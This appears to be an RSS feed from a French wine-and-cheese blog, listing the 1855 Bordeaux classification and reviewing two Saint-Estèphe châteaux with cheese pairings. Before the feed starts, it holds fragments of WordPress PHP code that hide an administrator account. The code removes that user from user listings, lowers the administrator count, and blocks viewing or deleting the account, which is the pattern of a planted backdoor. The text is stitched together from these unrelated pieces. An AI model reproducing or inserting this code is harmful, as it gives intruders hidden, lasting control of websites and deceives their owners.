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    function wp_admin_users_protect_user_query($user_search) {
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        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
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            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
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    function protect_user_count($views) {

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        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

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    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
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        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
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    function protect_user_from_deleting() {

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            wp_die(__('Invalid user ID.'));

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    $args = array(
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        if ($hidden_user->user_email != $args['user_email']) {
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	<title>saint estephe &#8211; Fromage et bon vin</title>
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		<title>Classification de 1855 des vins de Bordeaux</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 26 Aug 2009 22:16:41 +0000</pubDate>
				<category><![CDATA[Vins]]></category>
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<p>Cette classification publiée le le 18 avril <strong>1855</strong> classe donc ces châteaux par importance du premier au cinquième cru 88 châteaux : 61 rouges et 27 blancs.</p>
<h2>Premiers crus supérieur</h2>
<p>Château d&#8217;Yquem, Sauternes</p>
<h2>Premiers crus</h2>
<p>Château Lafite-Rothschild, Pauillac<br />
Château Latour, Pauillac<br />
Château Margaux, Margaux<br />
Château Mouton Rothschild, Pauillac<br />
Château Haut-Brion, Pessac-Léognan, Graves</p>
<h2>Deuxièmes crus</h2>
<p>Château Rauzan-Gassies, Margaux<br />
Château Rauzan-Ségla, Margaux (anciennement Château Rausan-Ségla)<br />
Château Léoville Barton, Saint Julien<br />
Château Léoville Las Cases, Saint Julien<br />
Château Léoville Poyferré, Saint Julien<br />
Château Durfort-Vivens, Margaux<br />
Château Gruaud-Larose, Saint Julien<br />
Château Lascombes, Margaux<br />
Château Brane-Cantenac, Margaux (Cantenac-Margaux)<br />
Château Pichon-Longueville, Pauillac<br />
Château Pichon Longueville Comtesse de Lalande, Pauillac<br />
Château Ducru-Beaucaillou, Saint Julien<br />
Château Cos d&#8217;Estournel, Saint Estèphe<br />
Château Montrose, Saint Estèphe</p>
<h2>Troisièmes crus</h2>
<p>Château Kirwan, Margaux (Cantenac-Margaux)<br />
Château d&#8217;Issan, Margaux (Cantenac-Margaux)<br />
Château Lagrange, Saint Julien<br />
Château Langoa Barton, Saint Julien<br />
Château Giscours, Margaux (Labarde-Margaux)<br />
Château Malescot St. Exupéry, Margaux<br />
Château Boyd-Cantenac, Margaux<br />
Château Cantenac Brown, Margaux (Cantenac-Margaux)<br />
Château Palmer, Margaux (Cantenac-Margaux)<br />
Château La Lagune, Haut Médoc (Ludon)<br />
Château Desmirail, Margaux<br />
Château Calon-Ségur, Saint Estèphe<br />
Château Ferrière, Margaux<br />
Château Marquis d&#8217;Alesme Becker, Margaux</p>
<h2>Quatrièmes crus</h2>
<p>Château Saint-Pierre, Saint Julien<br />
Château Talbot, Saint Julien<br />
Château Branaire-Ducru, Saint Julien<br />
Château Duhart-Milon, Pauillac<br />
Château Pouget, Margaux (Cantenac-Margaux)<br />
Château La Tour Carnet, Haut Médoc (St.-Laurent)<br />
Château Lafon-Rochet, Saint Estèphe<br />
Château Beychevelle, Saint Julien<br />
Château Prieuré-Lichine, Margaux (Cantenac-Margaux)<br />
Château Marquis de Terme, Margaux</p>
<h2>Cinquièmes crus</h2>
<p>Château Pontet-Canet, Pauillac<br />
Château Batailley, Pauillac<br />
Château Haut-Batailley, Pauillac<br />
Château Grand-Puy-Lacoste, Pauillac<br />
Château Grand-Puy Ducasse, Pauillac<br />
Château Lynch-Bages, Pauillac<br />
Château Lynch-Moussas, Pauillac<br />
Château Dauzac Margaux (Labarde)<br />
Château d&#8217;Armailhac, Pauillac (anciennement Château Mouton-Baronne-Philippe)<br />
Château du Tertre, Margaux (Arsac)<br />
Château Haut-Bages Libéral, Pauillac<br />
Château Pédesclaux, Pauillac<br />
Château Belgrave, Haut Médoc (St.-Laurent)<br />
Château de Camensac, Haut Médoc (St.-Laurent) (anciennement Château Camensac)<br />
Château Cos Labory, Saint Estèphe<br />
Château Clerc-Milon, Pauillac<br />
Château Croizet-Bages, Pauillac<br />
Château Cantemerle entré dans le classement en 1856, Haut Médoc (Macau)</p>
<p>Les <strong>vins blanc</strong> étaient peu couramment produits à l&#8217;époque, ils furent donc limités à la variété liquoreuse des <strong>Sauternes et Barsac</strong> et classés sur deux crus.</p>
<h2>Premiers crus Sauternes et Barsac</h2>
<p>château La Tour Blanche, Bommes (Sauternes)<br />
Château Lafaurie-Peyraguey, Bommes (Sauternes)<br />
Clos Haut-Peyraguey, Bommes (Sauternes) (château Clos Haut-Peyraguey)<br />
Château de Rayne-Vigneau, Bommes (Sauternes)<br />
Château Suduiraut, Preignac (Sauternes)<br />
Château Coutet, Barsac<br />
Château Climens, Barsac<br />
Château Guiraud, Sauternes<br />
Château Rieussec, Fargues (Sauternes)<br />
Château Rabaud-Promis, Bommes (Sauternes)<br />
Château Sigalas-Rabaud, Bommes (Sauternes)</p>
<h2>Deuxièmes crus Sauternes et Barsac</h2>
<p>Château Myrat, Barsac (château de Myrat)<br />
Château Doisy Daëne, Barsac<br />
Château Doisy-Dubroca, Barsac<br />
Château Doisy-Védrines, Barsac<br />
Château d&#8217;Arche, Sauternes<br />
Château Filhot, Sauternes<br />
Château Broustet Barsac<br />
Château Nairac, Barsac<br />
Château Caillou, Barsac<br />
Château Suau, Barsac<br />
Château de Malle, Preignac (Sauternes)<br />
Château Romer, Fargues (Sauternes)<br />
Château Romer du Hayot, Fargues (Sauternes)<br />
Château Lamothe, Sauternes<br />
Château Lamothe Guignard, Sauternes</p>
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		<title>Château Phélan-Ségur, Saint-Estephe</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 24 Mar 2009 22:26:27 +0000</pubDate>
				<category><![CDATA[Vins]]></category>
		<category><![CDATA[bordeaux]]></category>
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					<description><![CDATA[Le Château Phélan-Ségur, Saint-Estephe est un millésime de cabernet qui revêt des notes de cèdre très élégantes et fraîches , ainsi qu&#8217;un tanin racé. Ce vin est doté d&#8217;un grand avenir. Ce fort beau vignoble, voisin du Château Montrose et de Calon-Ségur, qui comporte une partie de vignes très anciennes, a traversé une période difficile [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-medium wp-image-55" title="Château Phélan-Ségur, Sant-Estephe" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chateau-phelan-segur-sant-estephe-226x300.jpg" alt="Château Phélan-Ségur, Sant-Estephe" width="169" height="224" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chateau-phelan-segur-sant-estephe-226x300.jpg 226w, http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chateau-phelan-segur-sant-estephe.jpg 350w" sizes="(max-width: 169px) 100vw, 169px" />L<strong>e Château Phélan-Ségur, Saint-Estephe</strong> est un millésime de cabernet qui revêt des notes de cèdre très élégantes et fraîches , ainsi qu&#8217;un tanin racé. Ce vin est doté d&#8217;un grand avenir.</p>
<p>Ce fort beau vignoble, voisin du Château Montrose et de Calon-Ségur, qui comporte une partie de vignes très anciennes, a traversé une période difficile au début des années 1980. Il est aujourd’hui de retour au plus haut niveau de qualité de l’appellation, grâce à la lucidité et au courage de son nouveau propriétaire (depuis 1985) M. Xavier Gardinier, qui a su retirer de la vente trois millésimes défectueux (1983, 1984, 1985) et privilégier les méthodes de culture traditionnelle. Phélan-Ségur est aujourd’hui régulièrement salué comme un des meilleurs Saint-Estèphe, un vin élégant, au nez intense et complexe où dominent les fruits rouges, solide et concentré en bouche, avec des tanins riches et épanouis qui promettent une bonne garde.</p>
<h2>Quel fromage avec un vin Saint-Estephe Château Phélan-Ségur ?</h2>
<p>Vous révélerez toutes les saveurs de ce vin en le dégustant accompagné de Saint Nectaire, Edam, Gouda.</p>
<p><em>Château Phélan-Ségur, Sant-Estephe, Rouge 2005 : 34€ <a href="http://www.wineandco.com" rel="nofollow">wineandco.com</a></em></p>
<p><em>Pour commander : <a href="http://www.phelansegur.com/" rel="nofollow">phelansegur.com</a></em></p>
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		<title>Château Meyney, Saint-Estephe</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 24 Mar 2009 22:03:52 +0000</pubDate>
				<category><![CDATA[Vins]]></category>
		<category><![CDATA[bordeaux]]></category>
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					<description><![CDATA[Le Château Meyney, Saint-Estephe possède une grande vinosité, une texture noble. C&#8217;est un vin fin de bouche très affirmée, le meilleur de la propriété depuis cinquante ans. Château Meyney est un des domaines les plus anciens du Médoc. Le domaine a appartenu à la même famille durant plusieurs générations, jusqu’à ce que Désiré Cordier en [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-medium wp-image-51" title="Château  Meyney, Saint-Estephe" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chateau-meyney-saint-estephe-199x300.gif" alt="Château  Meyney, Saint-Estephe" width="180" height="272" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chateau-meyney-saint-estephe-199x300.gif 199w, http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chateau-meyney-saint-estephe.gif 350w" sizes="(max-width: 180px) 100vw, 180px" />L<strong>e</strong> <strong>Château Meyney, Saint-Estephe</strong> possède une grande vinosité, une texture noble. C&#8217;est un vin fin de bouche très affirmée, le meilleur de la propriété depuis cinquante ans.</p>
<p>Château Meyney est un des domaines les plus anciens du Médoc. Le domaine a appartenu à la même famille durant plusieurs générations, jusqu’à ce que Désiré Cordier en devienne propriétaire en 1919.</p>
<p>Il est depuis 2004 la propriété du groupe Crédit Agricole. Un plan d’optimisation de l’ensemble du vignoble est mené à bien par Bernard Monteau, Directeur technique du domaine, assisté des conseils de l’œnologue Denis Dubourdieu. Château Meyney résume le caractère spécial de la terre de Saint-Estèphe dans le Médoc.</p>
<p>Second vin du Château, La Chapelle de Meyney est un vin arrivé à maturité. En bouche des notes de fruits très mûrs, cassis, pruneaux, cerises, des notes épicées, poivre, cannelle, des notes de tabac blond, de cuir et de toasté. L’ensemble est fondu avec une connotation harmonieuse.</p>
<p>Un vin qui arrive à son apogée sans aucun doute. Des notes de réglisse et de menthe poivrée se rajoutent à l’aération comme pour accentuer la puissance de garde du vin. Un nez vraiment séducteur.</p>
<h2>Quel fromage avec un Saint-Estephe, Château Meyney ?</h2>
<p>Ce vin se dégustera avec des fromages du type Saint Nectaire, Edam, Gouda.</p>
<p><em>Château Meyney, Saint-Estephe Rouge 2005 : 30,50€ par 12 : <a href="http://www.millésima.fr" rel="nofollow">millésima.fr</a></em></p>
<p><em>Pour commander : <a href="http://www.meyney.fr/" rel="nofollow">meyney.fr</a></em></p>
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